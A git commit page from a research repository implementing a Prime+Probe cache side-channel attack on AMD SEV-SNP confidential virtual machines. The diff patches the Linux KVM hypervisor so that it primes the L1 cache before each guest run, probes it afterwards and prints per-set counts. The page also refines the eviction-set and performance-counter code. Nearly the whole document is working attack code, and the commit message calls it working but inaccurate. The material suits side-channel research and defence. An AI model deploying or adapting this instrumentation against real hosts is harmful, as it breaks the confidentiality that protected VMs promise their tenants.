cachepc

Prime+Probe cache-based side-channel attack on AMD SEV-SNP protected virtual machines
git clone https://git.sinitax.com/sinitax/cachepc
Log | Files | Refs | Submodules | README | sfeed.txt

commit c80d9518901eac7547b462ec4e79125c6913b378
parent 7e2719c913c833bdd93b463f5a7dc878d5a22273
Author: Louis Burda <quent.burda@gmail.com>
Date:   Mon, 25 Jul 2022 20:13:43 +0200

Working prime and probe - but inaccuarate

Diffstat:
MMakefile | 4+---
Mpatch.diff | 77++++++++++++++++++++++++++++++++++++++++++++---------------------------------
Msrc/cache_types.h | 4++--
Msrc/cachepc.c | 52+++++++++++++++++++++++++++++++++++++---------------
Msrc/cachepc.h | 10++++++++--
Msrc/util.c | 4++--
6 files changed, 94 insertions(+), 57 deletions(-)

diff --git a/Makefile b/Makefile @@ -3,15 +3,13 @@ PWD := $(shell pwd) .PHONY: all reset clean prepare build -all: reset prepare build +all: reset clean prepare build clean: $(MAKE) -C $(KERNEL_SOURCE) SUBDIRS=arch/x86/kvm clean reset: git -C $(KERNEL_SOURCE) reset --hard - #git -C $(KERNEL_SOURCE) clean -dfx - #cp .config $(KERNEL_SOURCE)/.config $(KERNEL_SOURCE)/arch/x86/kvm/svm/cachepc: ln -s $(PWD)/src $@ diff --git a/patch.diff b/patch.diff @@ -1,8 +1,19 @@ diff --git a/arch/x86/kvm/Makefile b/arch/x86/kvm/Makefile -index b804444e16d4..1f7d3b15cf4a 100644 +index b804444e16d4..c94f8c4460f1 100644 --- a/arch/x86/kvm/Makefile +++ b/arch/x86/kvm/Makefile -@@ -20,7 +20,8 @@ kvm-y += x86.o emulate.o i8259.o irq.o lapic.o \ +@@ -10,7 +10,9 @@ endif + KVM := ../../../virt/kvm + + kvm-y += $(KVM)/kvm_main.o $(KVM)/coalesced_mmio.o \ +- $(KVM)/eventfd.o $(KVM)/irqchip.o $(KVM)/vfio.o ++ $(KVM)/eventfd.o $(KVM)/irqchip.o $(KVM)/vfio.o \ ++ svm/cachepc/cachepc.o svm/cachepc/util.o ++ + kvm-$(CONFIG_KVM_ASYNC_PF) += $(KVM)/async_pf.o + + kvm-y += x86.o emulate.o i8259.o irq.o lapic.o \ +@@ -20,7 +22,8 @@ kvm-y += x86.o emulate.o i8259.o irq.o lapic.o \ kvm-intel-y += vmx/vmx.o vmx/vmenter.o vmx/pmu_intel.o vmx/vmcs12.o \ vmx/evmcs.o vmx/nested.o vmx/posted_intr.o @@ -13,7 +24,7 @@ index b804444e16d4..1f7d3b15cf4a 100644 obj-$(CONFIG_KVM) += kvm.o obj-$(CONFIG_KVM_INTEL) += kvm-intel.o diff --git a/arch/x86/kvm/svm/svm.c b/arch/x86/kvm/svm/svm.c -index 7b3cfbe8f7e3..4c6ebe040c30 100644 +index 7b3cfbe8f7e3..e9a2b1048e28 100644 --- a/arch/x86/kvm/svm/svm.c +++ b/arch/x86/kvm/svm/svm.c @@ -2,6 +2,8 @@ @@ -25,37 +36,38 @@ index 7b3cfbe8f7e3..4c6ebe040c30 100644 #include "irq.h" #include "mmu.h" #include "kvm_cache_regs.h" -@@ -3728,6 +3730,16 @@ void __svm_vcpu_run(unsigned long vmcb_pa, unsigned long *regs); - static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, - struct vcpu_svm *svm) +@@ -3785,8 +3787,18 @@ static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, + + static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) { +- struct vcpu_svm *svm = to_svm(vcpu); + static struct cache_ctx *ctx = NULL; -+ static struct cacheline *cache_ds = NULL; -+ static struct cacheline *curr_head = NULL; -+ static struct cacheline *next_head = NULL; ++ static struct cacheline *ds = NULL; ++ static struct cacheline *head = NULL; + static int run_index = 0; ++ struct vcpu_svm *svm; + + if (!ctx) ctx = cachepc_get_ctx(L1); -+ if (!cache_ds) cache_ds = cachepc_prepare_ds(ctx); -+ if (!curr_head) curr_head = cache_ds; -+ - /* - * VMENTER enables interrupts (host state), but the kernel state is - * interrupts disabled when this is invoked. Also tell RCU about -@@ -3751,7 +3763,13 @@ static noinstr void svm_vcpu_enter_exit(struct kvm_vcpu *vcpu, - if (sev_es_guest(svm->vcpu.kvm)) { - __svm_sev_es_vcpu_run(svm->vmcb_pa); - } else { -+ curr_head = cachepc_prime(curr_head); - __svm_vcpu_run(svm->vmcb_pa, (unsigned long *)&svm->vcpu.arch.regs); -+ next_head = cachepc_probe(curr_head); -+ //cachepc_save_msrmts(curr_head, "/tmp/msrmt", run_index); -+ cachepc_print_msrmts(curr_head); -+ curr_head = next_head; -+ run_index += 1; - - #ifdef CONFIG_X86_64 - native_wrmsrl(MSR_GS_BASE, svm->host.gs_base); ++ if (!ds) ds = cachepc_prepare_ds(ctx); ++ ++ head = cachepc_prime(ds); + ++ svm = to_svm(vcpu); + svm->vmcb->save.rax = vcpu->arch.regs[VCPU_REGS_RAX]; + svm->vmcb->save.rsp = vcpu->arch.regs[VCPU_REGS_RSP]; + svm->vmcb->save.rip = vcpu->arch.regs[VCPU_REGS_RIP]; +@@ -3912,6 +3925,11 @@ static __no_kcsan fastpath_t svm_vcpu_run(struct kvm_vcpu *vcpu) + if (is_guest_mode(vcpu)) + return EXIT_FASTPATH_NONE; + ++ cachepc_probe(head); ++ cachepc_print_msrmts(head); ++ ++ run_index += 1; ++ + return svm_exit_handlers_fastpath(vcpu); + } + diff --git a/include/linux/kvm_host.h b/include/linux/kvm_host.h index 7f2e2a09ebbd..762eb35f19e5 100644 --- a/include/linux/kvm_host.h @@ -72,7 +84,7 @@ index 7f2e2a09ebbd..762eb35f19e5 100644 #define KVM_MAX_VCPU_ID KVM_MAX_VCPUS #endif diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c -index 2541a17ff1c4..f900cf449fb8 100644 +index 2541a17ff1c4..fd7511484011 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c @@ -51,6 +51,7 @@ @@ -133,7 +145,7 @@ index 2541a17ff1c4..f900cf449fb8 100644 int r; int cpu; -@@ -4848,6 +4874,16 @@ int kvm_init(void *opaque, unsigned vcpu_size, unsigned vcpu_align, +@@ -4848,6 +4874,15 @@ int kvm_init(void *opaque, unsigned vcpu_size, unsigned vcpu_align, r = kvm_vfio_ops_init(); WARN_ON(r); @@ -145,12 +157,11 @@ index 2541a17ff1c4..f900cf449fb8 100644 + + //cachepc_msrmts_file = proc_create("cachepc", 0644, NULL, &proc_ops); + //BUG_ON(cachepc_msrmts_file == NULL); -+ + return 0; out_unreg: -@@ -4872,6 +4908,7 @@ EXPORT_SYMBOL_GPL(kvm_init); +@@ -4872,6 +4907,7 @@ EXPORT_SYMBOL_GPL(kvm_init); void kvm_exit(void) { diff --git a/src/cache_types.h b/src/cache_types.h @@ -8,8 +8,8 @@ #define REMOVE_PAGE_OFFSET(ptr) ((void *) (((uintptr_t) ptr) & PAGE_MASK)) -#define GET_BIT(b, i) (((b & (1 << i)) >> i) & 1) -#define SET_BIT(b, i) (b | (1 << i)) +#define GET_BIT(b, i) (((b) >> (i)) & 1) +#define SET_BIT(b, i) ((b) | (1 << (i))) /* Operate cacheline flags * Used flags: diff --git a/src/cachepc.c b/src/cachepc.c @@ -26,16 +26,16 @@ cachepc_init_counters(void) event = event_no | (event_mask << 8); event |= (1<< 17); /* OsUserMode bit */ event |= (1 << 22); /* enable performance counter */ - printk(KERN_INFO "Writing to msr event %d", event); + printk(KERN_WARNING "CachePC: Initialized event %d\n", event); asm volatile ("wrmsr" : : "c"(reg_addr), "a"(event), "d"(0x00)); reg_addr = 0xc0010202; event_no = 0x64; event_mask = 0xC8; event = event_no | (event_mask << 8); - event |= (1<< 17); /* OsUserMode bit */ + event |= (1 << 17); /* OsUserMode bit */ event |= (1 << 22); /* enable performance counter */ - printk(KERN_INFO "Writing to msr event %d", event); + printk(KERN_WARNING "CachePC: Initialized event %d\n", event); asm volatile ("wrmsr" : : "c"(reg_addr), "a"(event), "d"(0x00)); } @@ -44,11 +44,12 @@ cachepc_get_ctx(cache_level cache_level) { cache_ctx *ctx; - printk(KERN_INFO "CACHEPC_GET_CTX"); + // printk(KERN_WARNING "CachePC: Getting ctx..\n"); ctx = kzalloc(sizeof(cache_ctx), GFP_KERNEL); BUG_ON(ctx == NULL); + BUG_ON(cache_level != L1); if (cache_level == L1) { ctx->addressing = L1_ADDRESSING; ctx->sets = L1_SETS; @@ -68,6 +69,8 @@ cachepc_get_ctx(cache_level cache_level) ctx->set_size = CACHELINE_SIZE * ctx->associativity; ctx->cache_size = ctx->sets * ctx->set_size; + // printk(KERN_WARNING "CachePC: Getting ctx done\n"); + return ctx; } @@ -80,12 +83,14 @@ cachepc_prepare_ds(cache_ctx *ctx) cacheline **cacheline_ptr_arr; cacheline *cache_ds; - printk(KERN_INFO "CACHEPC_BUILD_CACHE_DS"); + //printk(KERN_WARNING "CachePC: Preparing ds..\n"); cacheline_ptr_arr = allocate_cache_ds(ctx); cache_ds = build_cache_ds(ctx, cacheline_ptr_arr); kfree(cacheline_ptr_arr); + // printk(KERN_WARNING "CachePC: Preparing ds done\n"); + return cache_ds; } @@ -106,7 +111,7 @@ cachepc_print_msrmts(cacheline *head) curr_cl = head; do { if (IS_FIRST(curr_cl->flags)) { - printk(KERN_WARNING "Count for cache set %i: %llu\n", + printk(KERN_WARNING "CachePC: Count for cache set %i: %llu\n", curr_cl->cache_set, curr_cl->count); } @@ -114,6 +119,24 @@ cachepc_print_msrmts(cacheline *head) } while (curr_cl != head); } +void * +remove_cache_set(cache_ctx *ctx, void *ptr) +{ + return (void *) (((uintptr_t) ptr) & ~SET_MASK(ctx->sets)); +} + +void +cachepc_release_ds(cache_ctx *ctx, cacheline *ds) +{ + kfree(remove_cache_set(ctx, ds)); +} + +void +cachepc_release_ctx(cache_ctx *ctx) +{ + kfree(ctx); +} + /* * Create a randomized doubly linked list with the following structure: * set A <--> set B <--> ... <--> set X <--> set A @@ -136,13 +159,13 @@ cacheline *build_cache_ds(cache_ctx *ctx, cacheline **cl_ptr_arr) { idx_per_set = kzalloc(ctx->sets * sizeof(uint32_t), GFP_KERNEL); BUG_ON(idx_per_set == NULL); - cl_ptr_arr_sorted = kmalloc(ctx->nr_of_cachelines * sizeof(cacheline *), GFP_KERNEL); + cl_ptr_arr_sorted = kzalloc(ctx->nr_of_cachelines * sizeof(cacheline *), GFP_KERNEL); BUG_ON(cl_ptr_arr_sorted == NULL); set_len = ctx->associativity; for (i = 0; i < ctx->nr_of_cachelines; ++i) { - set_offset = cl_ptr_arr[i]->cache_set * set_len; - idx_curr_set = idx_per_set[cl_ptr_arr[i]->cache_set]; + set_offset = cl_ptr_arr[i]->cache_set * set_len; + idx_curr_set = idx_per_set[cl_ptr_arr[i]->cache_set]; cl_ptr_arr_sorted[set_offset + idx_curr_set] = cl_ptr_arr[i]; idx_per_set[cl_ptr_arr[i]->cache_set] += 1; @@ -198,8 +221,8 @@ void build_randomized_list_for_cache_set(cache_ctx *ctx, cacheline **cacheline_p curr_cl->prev = cacheline_ptr_arr[idx_map[(len - 1 + i) % len]]; curr_cl->count = 0; - if (curr_cl == cacheline_ptr_arr[0]) { - curr_cl->flags = SET_FIRST(DEFAULT_FLAGS); + if (idx_map[i] == 0) { + curr_cl->flags = SET_FIRST(DEFAULT_FLAGS); curr_cl->prev->flags = SET_LAST(DEFAULT_FLAGS); } else { curr_cl->flags = curr_cl->flags | DEFAULT_FLAGS; @@ -219,13 +242,13 @@ allocate_cache_ds(cache_ctx *ctx) cacheline **cl_ptr_arr, *cl_arr; uint32_t i; - cl_ptr_arr = (cacheline **) kzalloc(ctx->nr_of_cachelines * sizeof(cacheline *), GFP_KERNEL); + cl_ptr_arr = kzalloc(ctx->nr_of_cachelines * sizeof(cacheline *), GFP_KERNEL); BUG_ON(cl_ptr_arr == NULL); BUG_ON(ctx->addressing != VIRTUAL); // For virtual addressing, allocating a consecutive chunk of memory is enough - cl_arr = (cacheline *) aligned_alloc(PAGE_SIZE, ctx->cache_size); + cl_arr = aligned_alloc(PAGE_SIZE, ctx->cache_size); BUG_ON(cl_arr == NULL); for (i = 0; i < ctx->nr_of_cachelines; ++i) { @@ -249,10 +272,9 @@ aligned_alloc(size_t alignment, size_t size) if (size % alignment != 0) size = size - (size % alignment) + alignment; - p = kmalloc(size, GFP_KERNEL); + p = kzalloc(size, GFP_KERNEL); BUG_ON(((uintptr_t) p) % alignment != 0); return p; } - diff --git a/src/cachepc.h b/src/cachepc.h @@ -17,6 +17,8 @@ cache_ctx *cachepc_get_ctx(cache_level cl); cacheline *cachepc_prepare_ds(cache_ctx *ctx); void cachepc_save_msrmts(cacheline *head, const char *prefix, int index); void cachepc_print_msrmts(cacheline *head); +void cachepc_release_ds(cache_ctx *ctx, cacheline *ds); +void cachepc_release_ctx(cache_ctx *ctx); __attribute__((always_inline)) static inline cacheline *cachepc_prime(cacheline *head); @@ -39,7 +41,7 @@ cachepc_prime(cacheline *head) { cacheline *curr_cl; - printk(KERN_WARNING "PROBE"); + //printk(KERN_WARNING "CachePC: Priming..\n"); cachepc_cpuid(); curr_cl = head; @@ -49,6 +51,8 @@ cachepc_prime(cacheline *head) } while(curr_cl != head); cachepc_cpuid(); + //printk(KERN_WARNING "CachePC: Priming done\n"); + return curr_cl->prev; } @@ -128,13 +132,15 @@ cachepc_probe(cacheline *head) { cacheline *curr_cs; - printk(KERN_WARNING "PROBE"); + //printk(KERN_WARNING "CachePC: Probing.."); curr_cs = head; do { curr_cs = cachepc_probe_set(curr_cs); } while (__builtin_expect(curr_cs != head, 1)); + //printk(KERN_WARNING "CachePC: Probing done"); + return curr_cs->next; } diff --git a/src/util.c b/src/util.c @@ -12,8 +12,8 @@ random_perm(uint32_t *arr, uint32_t arr_len) idx = idx % i; tmp = arr[idx]; - arr[i] = arr[idx]; - arr[idx] = tmp; + arr[idx] = arr[i]; + arr[i] = tmp; } }